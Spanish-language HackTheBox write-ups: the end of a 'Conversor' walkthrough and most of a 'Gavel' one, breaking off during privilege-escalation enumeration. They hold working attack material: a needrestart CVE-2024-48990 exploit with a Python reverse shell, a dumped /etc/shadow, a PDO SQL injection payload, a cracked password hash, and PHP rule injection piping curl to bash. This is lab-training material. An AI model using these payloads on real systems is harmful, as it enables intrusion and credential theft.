fismathack
uid=1000(fismathack) gid=1000(fismathack) groups=1000(fismathack)
fismathack@conversor:/var/www/conversor.htb/instance$ cd
fismathack@conversor:~$ ls
user.txt
fismathack@conversor:~$ cat user.txt
5af49e6ebf19af9b4cb592f3ae3087ab
fismathack@conversor:~$

Privesc

sudo -l -l indica que podemos ejecutar needrestart como root a traves de sudo.

fismathack@conversor:~$ sudo -l -l
Matching Defaults entries for fismathack on conversor:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User fismathack may run the following commands on conversor:

Sudoers entry:
    RunAsUsers: ALL
    RunAsGroups: ALL
    Options: !authenticate
    Commands:
    /usr/sbin/needrestart
fismathack@conversor:~$ file /usr/sbin/needrestart
/usr/sbin/needrestart: Perl script text executable
fismathack@conversor:~$

Vemos que la version de este script es needrestart 3.7.

fismathack@conversor:~$ sudo needrestart --version

needrestart 3.7 - Restart daemons after library updates.

Authors:
  Thomas Liske <thomas@fiasko-nw.net>

Copyright Holder:
  2013 - 2022 (C) Thomas Liske [http://fiasko-nw.net/~thomas/]

Upstream:
  https://github.com/liske/needrestart

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

fismathack@conversor:~$

CVE-2024-48990

Encontramos que existe una vulnerabilidad que permite la ejecucion de codigo Python por needrestart. Esto ocurre cuando el script determina si un proceso de Python necesita reiniciarse, tomando la variable PYTHONPATH desde /proc/<pid>/environ que luego la define y utiliza antes de ejecutar import sys\nprint(sys.path)\n. El PoC indica la creacion del modulo importlib el cual se ejecutaria a traves de import.

Exploit

Se crea el modulo importlib en el directorio /dev/shm/.

1
2
3

# main.py
while True:
    pass

Se agrega una shell inversa en __init__.py.

1
2

# importlib/__init__.py
import os,pty,socket;s=socket.socket();s.connect(("10.10.14.3",1335));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")

El modulo quedaria de la siguiente forma.

fismathack@conversor:/dev/shm$ mkdir importlib
fismathack@conversor:/dev/shm$ nano importlib/__init__.py
fismathack@conversor:/dev/shm$ nano main.py
fismathack@conversor:/dev/shm$ ls -R
.:
importlib  main.py

./importlib:
__init__.py
fismathack@conversor:/dev/shm$

En una shell asignamos el directorio /dev/shm/ a la variable PYTHONPATH y luego ejecutamos el archivo main.py, proceso que ejecutaria nuestra shell inversa.

fismathack@conversor:/dev/shm$ export PYTHONPATH=/dev/shm/; python3 main.py 
Error processing line 1 of /usr/lib/python3/dist-packages/zope.interface-5.4.0-nspkg.pth:

  Traceback (most recent call last):
    File "/usr/lib/python3.10/site.py", line 192, in addpackage
      exec(line)
    File "<string>", line 1, in <module>
    File "/dev/shm/importlib/__init__.py", line 1, in <module>
      import os,pty,socket;s=socket.socket();s.connect(("10.10.14.3",1335));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")
  ConnectionRefusedError: [Errno 111] Connection refused

Remainder of file ignored

Ejecutamos needrestart con sudo.

1
2

fismathack@conversor:~$ sudo needrestart 
Scanning processes... [==============================================================================================================================================================  ]

Con ello logramos acceso como root y a la flag root.txt.

❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.3] from conversor.htb [10.10.11.92] 37984
# whoami;id;pwd
root
uid=0(root) gid=0(root) groups=0(root)
/dev/shm
# cd /root
# ls
root.txt  scripts
# cat root.txt
80e8ee30ba0ac4d57da354ddf9e882b7
#

Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

# cat /etc/shadow
root:$y$j9T$CxUp91Y7aNmCAg.0BrP1N1$NFfbRCjYo56DBVoop2pwSbs9snvrUGR0IEINR4qZfmB:20301:0:99999:7:::
daemon:*:19977:0:99999:7:::
bin:*:19977:0:99999:7:::
sys:*:19977:0:99999:7:::
sync:*:19977:0:99999:7:::
games:*:19977:0:99999:7:::
man:*:19977:0:99999:7:::
lp:*:19977:0:99999:7:::
mail:*:19977:0:99999:7:::
news:*:19977:0:99999:7:::
uucp:*:19977:0:99999:7:::
proxy:*:19977:0:99999:7:::
www-data:*:19977:0:99999:7:::
backup:*:19977:0:99999:7:::
list:*:19977:0:99999:7:::
irc:*:19977:0:99999:7:::
gnats:*:19977:0:99999:7:::
nobody:*:19977:0:99999:7:::
_apt:*:19977:0:99999:7:::
systemd-network:*:19977:0:99999:7:::
systemd-resolve:*:19977:0:99999:7:::
messagebus:*:19977:0:99999:7:::
systemd-timesync:*:19977:0:99999:7:::
pollinate:*:19977:0:99999:7:::
syslog:*:19977:0:99999:7:::
uuidd:*:19977:0:99999:7:::
tcpdump:*:19977:0:99999:7:::
tss:*:19977:0:99999:7:::
landscape:*:19977:0:99999:7:::
fwupd-refresh:*:19977:0:99999:7:::
usbmux:*:20300:0:99999:7:::
fismathack:$y$j9T$Em7KF.PXS5RiFQPkRzVUo.$tMXvaVSk5wpypsh250ddml9Ko./E8.7DnQSgs2AhKx2:20314:0:99999:7:::
lxd:!:20300::::::
sshd:*:20300:0:99999:7:::
_laurel:!:20382::::::
#

HackTheBox - Gavel

sckull — Sat, 14 Mar 2026 00:00:00 +0000

Gavel expone un repositorio en su sitio web, en este se identifico una vulnerabilidad SQLi y una funcionalidad que permite ejecutar codigo PHP. Se exploto la vulnerabilidad para obtener acceso al sitio que luego permitio ejecutar comandos para acceso inicial. Se cambio a un nuevo usuario con una contrasena conocida. Se escalaron privilegios con un ejecutable y la edicion de un archivo php.ini.

Nombre	Gavel
OS	Linux
Puntos	30
Dificultad	Medium
Fecha de Salida	2025-11-29
IP	10.10.11.97
Maker	Shadow21A
Rated	{ "type": "bar", "data": { "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"], "datasets": [{ "label": "User Rated Difficulty", "data": [96, 68, 341, 541, 908, 436, 259, 72, 18, 43], "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"] }] }, "options": { "scales": { "xAxes": [{"display": false}], "yAxes": [{"display": false}] }, "legend": {"labels": {"fontColor": "white"}}, "responsive": true } }

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

# Nmap 7.95 scan initiated Sat Nov 29 14:40:44 2025 as: /usr/lib/nmap/nmap --privileged -p22,80 -sV -sC -oN nmap_scan 10.129.110.12
Nmap scan report for 10.129.110.12
Host is up (0.067s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
|_  256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://gavel.htb/
Service Info: Host: gavel.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Nov 29 14:40:53 2025 -- 1 IP address (1 host up) scanned in 8.93 seconds

Web Site

curl muestra una redireccion al dominio gavel.htb el cual agregamos al archivo /etc/hosts.

❯ curl -sI 10.129.110.12
HTTP/1.1 301 Moved Permanently
Date: Sat, 29 Nov 2025 20:41:18 GMT
Server: Apache/2.4.52 (Ubuntu)
Location: http://gavel.htb/
Content-Type: text/html; charset=iso-8859-1

❯

Los headers muestran un servidor Apache.

❯ curl -sI http://gavel.htb
HTTP/1.1 200 OK
Date: Sat, 29 Nov 2025 20:41:52 GMT
Server: Apache/2.4.52 (Ubuntu)
Set-Cookie: gavel_session=59enlq5e7o38n6usddamkm6opp; path=/; HttpOnly; SameSite=Strict
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=UTF-8

❯

Se describe al sitio como una casa de subastas.

En Testimonies encontramos posibles nombres de usuarios.

Creamos un wordlist con estos.

❯ curl -s http://gavel.htb/ | grep '<strong>' | cut -d '>' -f2 | cut -d '<' -f1 | uniq

Merlox the Mild
BidGazer99
ShadowMartha
RuneSniffer42
ElvenEarl77
WandWarrantyVoid
VialCollector69
ZedIsDead
BoneBidderX
GrantMeThis
OwlexaPrime
HalfPriceOgre
MagicalTrashbin
❯

User Account

Registramos una cuenta en el sitio.

Encontramos tres items que estan en subasta, cada uno de estos esta activo por un tiempo especifico.

Directory Brute Forcing

feroxbuster muestra que existe un repositorio expuesto.

❯ feroxbuster -u http://gavel.htb/ -w $CM -x php
                                                                                                                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://gavel.htb/
 🚩  In-Scope Url          │ gavel.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [php]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        9l       28w      274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      271c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET        1l        2w       23c http://gavel.htb/.git/HEAD
200      GET        1l       44w     2532c http://gavel.htb/assets/vendor/jquery-easing/jquery.easing.min.js
200      GET        7l       33w     1265c http://gavel.htb/assets/js/sb-admin-2.min.js
200      GET       84l      301w     4485c http://gavel.htb/register.php
200      GET       78l      213w     4281c http://gavel.htb/login.php
200      GET      222l     1044w    14070c http://gavel.htb/index.php
200      GET       58l      108w     1274c http://gavel.htb/assets/vendor/fontawesome-free/package.json
200      GET        3l       23w      187c http://gavel.htb/assets/vendor/fontawesome-free/attribution.js
200      GET       34l      237w     1548c http://gavel.htb/assets/vendor/fontawesome-free/LICENSE.txt
200      GET      102l      397w     3798c http://gavel.htb/assets/items.json
200      GET      365l     1202w   141649c http://gavel.htb/assets/img/library.jpg
200      GET        7l     1030w    84378c http://gavel.htb/assets/vendor/bootstrap/js/bootstrap.bundle.min.js
200      GET        5l       83w    59344c http://gavel.htb/assets/vendor/fontawesome-free/css/all.min.css
200      GET      166l      953w     4047c http://gavel.htb/assets/vendor/jquery-easing/jquery.easing.js
200      GET       59l      254w     1656c http://gavel.htb/assets/vendor/jquery-easing/jquery.easing.compatibility.js
200      GET      324l     2559w   196986c http://gavel.htb/assets/img/scroll.jpg
200      GET        2l     1294w    89501c http://gavel.htb/assets/vendor/jquery/jquery.min.js
200      GET    11299l    22157w   212581c http://gavel.htb/assets/css/sb-admin-2.css
200      GET      337l     2779w   199415c http://gavel.htb/assets/img/cloak.jpg
200      GET      268l      938w   145788c http://gavel.htb/assets/img/speed.jpg
200      GET        1l        7w   137960c http://gavel.htb/assets/vendor/jquery/jquery.min.map
200      GET      227l     1130w   149461c http://gavel.htb/assets/img/goblet.jpg
200      GET        1l        2w   110315c http://gavel.htb/assets/vendor/jquery/jquery.slim.min.map
200      GET      120l      382w    70041c http://gavel.htb/assets/img/robe.jpg
200      GET        2l     1059w    72372c http://gavel.htb/assets/vendor/jquery/jquery.slim.min.js
200      GET      679l     3782w   301740c http://gavel.htb/assets/img/favicon.ico
200      GET      307l     1324w   164612c http://gavel.htb/assets/img/quill.jpg
200      GET     8782l    36235w   235341c http://gavel.htb/assets/vendor/jquery/jquery.slim.js
200      GET      308l     1199w   128350c http://gavel.htb/assets/img/luck.jpg
200      GET      196l     1157w   164627c http://gavel.htb/assets/img/tax.jpg
200      GET    10881l    44400w   288580c http://gavel.htb/assets/vendor/jquery/jquery.js
200      GET      243l     1057w   158209c http://gavel.htb/assets/img/juice.jpg
302      GET        0l        0w        0c http://gavel.htb/admin.php => index.php
200      GET      418l     3176w   243625c http://gavel.htb/assets/img/NDA.jpg
200      GET      276l     1356w   153886c http://gavel.htb/assets/img/spoon.jpg
200      GET      266l     1319w   187333c http://gavel.htb/assets/img/certificate.jpg
200      GET      398l     1583w   182591c http://gavel.htb/assets/img/permit.jpg
200      GET      390l     1652w   191576c http://gavel.htb/assets/img/employment.jpg
200      GET      414l     3207w   260539c http://gavel.htb/assets/img/key.jpg
200      GET      278l     3024w   230643c http://gavel.htb/assets/img/helmet.jpg
200      GET      423l     1396w   179553c http://gavel.htb/assets/img/shard.jpg
200      GET     5229l    29085w  2344711c http://gavel.htb/assets/img/ring.jpg
200      GET      222l     1042w    14020c http://gavel.htb/
301      GET        9l       28w      307c http://gavel.htb/assets => http://gavel.htb/assets/
200      GET     4422l    25758w  1976010c http://gavel.htb/assets/img/welcome.png
200      GET     6403l    37336w  3281525c http://gavel.htb/assets/img/toe.jpg
301      GET        9l       28w      309c http://gavel.htb/includes => http://gavel.htb/includes/
302      GET        0l        0w        0c http://gavel.htb/inventory.php => index.php
302      GET        0l        0w        0c http://gavel.htb/logout.php => index.php
200      GET        0l        0w        0c http://gavel.htb/includes/auction.php
200      GET        0l        0w        0c http://gavel.htb/includes/config.php
200      GET        0l        0w        0c http://gavel.htb/includes/db.php
301      GET        9l       28w      306c http://gavel.htb/rules => http://gavel.htb/rules/
200      GET        0l        0w        0c http://gavel.htb/includes/session.php
❯

Gavel Repository

Ejecutamos git-dumper el cual nos permitio obtener el repositorio.

❯ git-dumper http://gavel.htb/ gavel_repo
[-] Testing http://gavel.htb/.git/HEAD [200]
[-] Testing http://gavel.htb/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://gavel.htb/.gitignore [404]
[-] http://gavel.htb/.gitignore responded with status code 404
[-] Fetching http://gavel.htb/.git/ [200]
[-] Fetching http://gavel.htb/.git/branches/ [200]
[-] Fetching http://gavel.htb/.git/HEAD [200]
[-] Fetching http://gavel.htb/.git/description [200]
[-] Fetching http://gavel.htb/.git/hooks/ [200]
[... cut ...]
[-] Fetching http://gavel.htb/.git/objects/fe/04870bc4fc146cd72f8f552cb5e83a43f1eaca [200]
[-] Fetching http://gavel.htb/.git/objects/fe/7978feee5d11c5aaf7bfa02602ef34130f2379 [200]
[-] Sanitizing .git/config
[-] Running git checkout .
Updated 1849 paths from the index
❯

git log muestra unicamente tres commits realizados.

❯ git log
commit f67d90739a31d3f9ffcc3b9122652b500ff2a497 (HEAD -> master)
Author: sado <sado@gavel.htb>
Date:   Fri Oct 3 18:38:02 2025 +0000

    ..

commit 2bd167f52a35786a5a3e38a72c63005fffa14095
Author: sado <sado@gavel.htb>
Date:   Fri Oct 3 18:37:10 2025 +0000

    .

commit ff27a161f2dd87a0c597ba5638e3457ac167c416
Author: sado <sado@gavel.htb>
Date:   Sat Sep 20 13:12:15 2025 +0000

    gavel auction ready
❯

El primero muestra el commit inicial.

❯ git show --name-only ff27a161f2dd87a0c597ba5638e3457ac167c416
commit ff27a161f2dd87a0c597ba5638e3457ac167c416
Author: sado <sado@gavel.htb>
Date:   Sat Sep 20 13:12:15 2025 +0000

    gavel auction ready

admin.php
assets/css/sb-admin-2.css
assets/img/NDA.jpg
assets/img/certificate.jpg
assets/img/cloak.jpg
[... cut ...]
assets/vendor/jquery/jquery.slim.min.map
bidding.php
includes/.htaccess
includes/auction.php
includes/auction_watcher.php
includes/bid_handler.php
includes/config.php
includes/db.php
includes/session.php
index.php
inventory.php
login.php
logout.php
register.php
rules/.htaccess
rules/default.yaml
❯

Code Review

El codigo fuente muestra que la base de datos es MySQL.

// db.php
<?php
require_once __DIR__ . '/config.php';
try {
    $pdo = new PDO("mysql:host=" . DB_HOST . ";dbname=" . DB_NAME, DB_USER, DB_PASS);
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    $pdo->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, true);
} catch (PDOException $e) {
    die("Database connection failed.");
}

Vemos una posible inyeccion SQL en inventory.php a traves del parametro sort.

// inventory.php
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";
$itemMap = [];
$itemMeta = $pdo->prepare("SELECT name, description, image FROM items WHERE name = ?");
try {
    if ($sortItem === 'quantity') {
        $stmt = $pdo->prepare("SELECT item_name, item_image, item_description, quantity FROM inventory WHERE user_id = ? ORDER BY quantity DESC");
        $stmt->execute([$userId]);
    } else {
        $stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
        $stmt->execute([$userId]);
    }
    $results = $stmt->fetchAll(PDO::FETCH_ASSOC);
} catch (Exception $e) {
    $results = [];
}

Rules

Tambien, encontramos que existe un panel para usuarios con el rol auctioneer. Mediante este, es posible crear reglas.

//admin.php
if (!isset($_SESSION['user']) || $_SESSION['user']['role'] !== 'auctioneer') {
    header('Location: index.php');
    exit;
}

// [... cut ...]

<div class="container-fluid pt-4">
    <h1 class="h3 text-gray-800 text-center"><i class="fa fa-lock"></i> Admin Panel</h1>
    <hr>
    <?php if (!empty($_SESSION['success'])): ?>
        <div class="alert alert-success text-center">Rule and message updated successfully!</div>
        <?php unset($_SESSION['success']); ?>
    <?php endif; ?>
    <?php if (!$current_auction): ?>
        <div class="alert alert-warning">No active auctions at the moment. Please check back later.</div>
    <?php else: ?>
        <div class="row">
            <?php foreach ($current_auction as $auction):
                $itemDetails = get_item_by_name($auction['item_name']);
                $remaining = strtotime($auction['ends_at']) - time();
                ?>
                <div class="col-md-4">
                    <div class="card shadow mb-4">
                        <div class="card-body text-center">
                            <img src="<?= ASSETS_URL ?>/img/<?= $itemDetails['image'] ?>" alt="" class="img-fluid mb-3" style="max-height: 200px;">
                            <h3 class="mb-1"><?= htmlspecialchars($itemDetails['name']) ?></h3>
                            <p class="mb-1"><?= htmlspecialchars($itemDetails['description']) ?></p>
                            <hr>
                            <form class="bidForm mt-4" method="POST">
                            <input type="hidden" name="auction_id" value="<?= $auction['id'] ?>">
                            <!-- p class="mb-1 text-justify"><strong>Rule:</strong> <code lang="php"><?= htmlspecialchars($auction['rule']) ?></code></p -->
                            <input type="text" class="form-control form-control-user" name="rule" placeholder="Edit rule">
                            <!-- <p class="mb-1 text-justify"><strong>Message:</strong> <?= htmlspecialchars($auction['message']) ?></p> -->
                            <input type="text" class="form-control form-control-user" name="message" placeholder="Edit message">
                            <p class="mb-1 text-justify"><strong>Time Remaining:</strong> <span class="timer" data-end="<?= strtotime($auction['ends_at']) ?>"><?= $remaining ?></span> seconds <i class="fas fa-clock"></i></p>
                            <button class="btn btn-dark btn-user btn-block" type="submit"><i class="fas fa-pencil-alt"></i> Edit</button>
                            </form>
                        </div>
                    </div>
                </div>
            <?php endforeach; ?>
        </div>
    <?php endif; ?>
</div>
</div>

Las reglas son utilizadas para las ofertas realizadas.

# default.yaml
rules:
  - rule: "return $current_bid >= $previous_bid * 1.1;"
    message: "Bid at least 10% more than the current price."

  - rule: "return $current_bid % 5 == 0;"
    message: "Bids must be in multiples of 5. Your account balance must cover the bid amount."

  - rule: "return $current_bid >= $previous_bid + 5000;"
    message: "Only bids greater than 5000 + current bid will be considered. Ensure you have sufficient balance before placing such bids."

Tambien, son utilizadas en bid_handler.php, donde se hace el uso de runkit_function_add(). Esta permite crear una nueva funcion. En este caso crea la funcion ruleCheck().

// ... cut ...
if (!isset($_SESSION['user'])) {
    echo json_encode(['success' => false, 'message' => 'You must be logged in.']);
    exit;
}

$auction_id = (int) ($_POST['auction_id'] ?? 0);
$bid_amount = (int) ($_POST['bid_amount'] ?? 0);
$id = $_SESSION['user']['id'] ?? null;
$username = $_SESSION['user']['username'] ?? null;

// if pass

$current_bid = $bid_amount;
$previous_bid = $auction['current_price'];
$bidder = $username;

$rule = $auction['rule'];q
$rule_message = $auction['message'];

$allowed = false;

try {
    if (function_exists('ruleCheck')) {
        runkit_function_remove('ruleCheck');
    }
    runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
    error_log("Rule: " . $rule);
    $allowed = ruleCheck($current_bid, $previous_bid, $bidder);
} catch (Throwable $e) {
    error_log("Rule error: " . $e->getMessage());
    $allowed = false;
}

// ... cut ...

Un ejemplo para runkit_function_add muestra la ejecucion de codigo con los argumentos agregados tras su creacion.

<?php
create_function('testme','$a,$b','echo "The value of a is $a\n"; echo "The value of b is $b\n";');
testme(1,2);

/* output:
The value of a is 1
The value of b is 2
*/

En el caso de gavel se toma la regla de la subasta la cual es codigo php y los argumentos son: la oferta actual, previa y el usuario. Tras realizar una oferta al objeto en subasta se ejecuta la funcion y se devuelve al usuario un mensaje.

//bid_handler.php
$rule         = 'return $current_bid >= $previous_bid * 1.1;';
$current_bid  = // $bid_amount = (int) ($_POST['bid_amount'] ?? 0);
$previous_bid = // $auction['current_price'];
$bidder       = //$_SESSION['user']['username'] ?? null;
runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
error_log("Rule: " . $rule);
$allowed = ruleCheck($current_bid, $previous_bid, $bidder);

//
// ruleCheck($current_bid, $previous_bid, $bidder){
// return $current_bid >= $previous_bid * 1.1;
// }
//

Lo anterior nos permitiria ejecutar codigo PHP para luego Comandos en la maquina, para ello es necesario obtener primero acceso con un usuario con el rol auctioneer.

SQL Injection

El post A Novel Technique for SQL Injection in PDO’s Prepared Statements muestra como explotar la vulnerabilidad de Inyeccion SQL para un ejemplo similar al de gavel. Basados en el post utilizamos un ‘payload’ que nos permite realizar la explotacion.

`1`	user_id=x` FROM (SELECT 1338 AS `'x`)y;#&sort=\?#--

Este muestra el valor 1338 especificado.

Obtuvimos usuarios y hash de contrasena de la tabla users.

`1`	user_id=x` FROM (SELECT concat(username,password) AS `'x` from users)y;#&sort=\?#--

Cracking the Hash

Ejecutamos john con el wordlist rockyou.txt sobre el archivo de hash.

PS C:\Users\sckull\Documents\github\hashcat-7.1.2> ./hashcat.exe -m 3200 '$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS' rockyou.txt
hashcat (v7.1.2) starting

Successfully initialized the NVIDIA main driver CUDA runtime library.

# [... cut ...]

Host memory allocated for this attack: 545 MB (12005 MB free)

Dictionary cache hit:
* Filename..: rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS:midnight1

# [... cut ...]
PS C:\Users\sckull\Documents\github\hashcat-7.1.2>

Admin Access

Las credenciales nos dan acceso al panel de administracion, vemos que podemos editar las reglas.

Code Execution

Editamos la regla de uno de los objetos en subasta.

Agregamos codigo para la ejecucion de curl.

`1`	`system("curl 10.10.14.45");`

Para ejecutar la regla anterior se realiza una oferta al objeto. Este muestra una solicitud curl a nuestra IP.

POST /includes/bid_handler.php HTTP/1.1
Host: gavel.htb
Content-Type: multipart/form-data; boundary=----geckoformboundary574841ba6f014a46de1c5a49944deb53
Cookie: gavel_session=ioiq6fugl6pvhjcklicaj1d6ti
Priority: u=0

------geckoformboundary574841ba6f014a46de1c5a49944deb53
Content-Disposition: form-data; name="auction_id"

323
------geckoformboundary574841ba6f014a46de1c5a49944deb53
Content-Disposition: form-data; name="bid_amount"

10000
------geckoformboundary574841ba6f014a46de1c5a49944deb53--


HTTP/1.1 200 OK
Date: Sat, 29 Nov 2025 23:49:09 GMT
Server: Apache/2.4.52 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 657
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json

<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr>
<ul>
<li><a href="nmap_scan">nmap_scan</a></li>
<li><a href="nmap_scan_udp">nmap_scan_udp</a></li>
<li><a href="users.txt">users.txt</a></li>
</ul>
<hr>
</body>
</html>
{"success":false,"message":"system"}

User - www-data

Editamos nuevamente la regla para la ejecucion de una shell inversa con shells.

`1`	`system("curl 10.10.14.45:8000/10.10.14.45:1335\|bash");`

Logrando obtener acceso como www-data.

❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.45] from gavel.htb [10.129.110.12] 43978
/bin/sh: 0: can't access tty; job control turned off
$ whoami;id;pwd
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html/gavel/includes
$

User - Auctioneer

Observamos que existe el usuario auctioneer, utilizamos su misma contrasena para acceso a este usuario y la flag user.txt.

$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
auctioneer:x:1001:1002::/home/auctioneer:/bin/bash
$ su auctioneer
Password: midnight1
whoami;id
auctioneer
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)
cd
ls
user.txt
cat user.txt
36645a74f0e0fdf12c7ee156ce84b68d

Privesc

En /opt/ encontramos el directorio gavel con un ejecutable gaveld y el archivo php.ini. Este ultimo indica open_basedir y disable_functions.

auctioneer@gavel:/opt/gavel$ ls -lah
total 56K
drwxr-xr-x 4 root root 4.0K Nov  5 12:46 .
drwxr-xr-x 3 root root 4.0K Nov  5 12:46 ..
drwxr-xr-x 3 root root 4.0K Nov  5 12:46 .config
-rwxr-xr-- 1 root root  36K Oct  3 19:35 gaveld
-rw-r--r-- 1 root root  364 Sep 20 14:54 sample.yaml
drwxr-x--- 2 root root 4.0K Nov  5 12:46 submission
auctioneer@gavel:/opt/gavel$ ls -lah .config
total 12K
drwxr-xr-x 3 root root 4.0K Nov  5 12:46 .
drwxr-xr-x 4 root root 4.0K Nov  5 12:46 ..
drwxr-xr-x 2 root root 4.0K Nov  5 12:46 php
auctioneer@gavel:/opt/gavel$ ls -lah .config/php
total 12K
drwxr-xr-x 2 root root 4.0K Nov  5 12:46 .
drwxr-xr-x 3 root root 4.0K Nov  5 12:46 ..
-rw-r--r-- 1 root root  502 Oct  3 19:35 php.ini
auctioneer@gavel:/opt/gavel$ cat .config/php/php.ini
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off
auctioneer@gavel:/opt/gavel$

Nuestro usuario pertenece al grupo gavel-seller el cual tiene acceso a un ejecutable: gavel-util.

auctioneer@gavel:/opt/gavel$ id
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)
auctioneer@gavel:/opt/gavel$ find / -group gavel-seller 2>/dev/null | grep -v proc | grep -v sys
/run/gaveld.sock
/usr/local/bin/gavel-util
auctioneer@gavel:/opt/gavel$ file /usr/local/bin/gavel-util
/usr/local/bin/gavel-util: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=941cf63911b2f8f4cabff61062f2c9ad64f043d6, for GNU/Linux 3.2.0, not stripped
auctioneer@gavel:/opt/gavel$

strings indica que, posiblemente se comunica con /var/run/gaveld.sock.

auctioneer@gavel:/opt/gavel$ strings /usr/local/bin/gavel-util
/lib64/ld-linux-x86-64.so.2
_ITM_deregisterTMCloneTable
# [.. cut ...]
send hdrlen failed
send hdr failed
send content failed
submit
stat
not a regular file: %s
file too large
fopen
failed to read %s
/var/run/gaveld.sock
failed to connect to %s
filename
flags
content_length
[32m%s
stats
[31mNo response
invoice
[33mUsage: %s <cmd> [options]
Commands:
  submit <file>           Submit new items (YAML format)
  stats                   Show Auction stats
  invoice                 Request invoice
[31msubmit requires file argument
[31mNo response from server
[31mNo response for invoice
/var/run/gaveld.
:*3$"
GCC: (Ubuntu 11.4.0-1ubuntu1~22.04.2) 11.4.0
Scrt1.o
__abi_tag
gavel-util.c
collect_env
writen
send_header_and_content
readn
recv_response
connect_sock
# [.. cut ...]
auctioneer@gavel:/opt/gavel$

La ejecucion muestra stats e invoice, pero este ultimo no parece poder leer algun archivo log.

auctioneer@gavel:/opt/gavel$ /usr/local/bin/gavel-util
Usage: /usr/local/bin/gavel-util <cmd> [options]
Commands:
  submit <file>           Submit new items (YAML format)
  stats                   Show Auction stats
  invoice                 Request invoice
auctioneer@gavel:/opt/gavel$ /usr/local/bin/gavel-util stats
=================== GAVEL AUCTION DASHBOARD ===================

[Active Auctions]
ID   Item Name                      Current Bid   Ends In
332  Boots of Slight Speed          1966          01:04
333  Ethereal Tax Token             983           01:07
334  Potion of Eternal Wakefulness  1572          01:08

[Recently Ended Auctions]
ID   Item Name                      Final Price   Winner
331  Time-Traveling Spoon           724           None
330  Goblin-Signed NDA              1191          None
329  Goblet of Slight Insight       1659          None


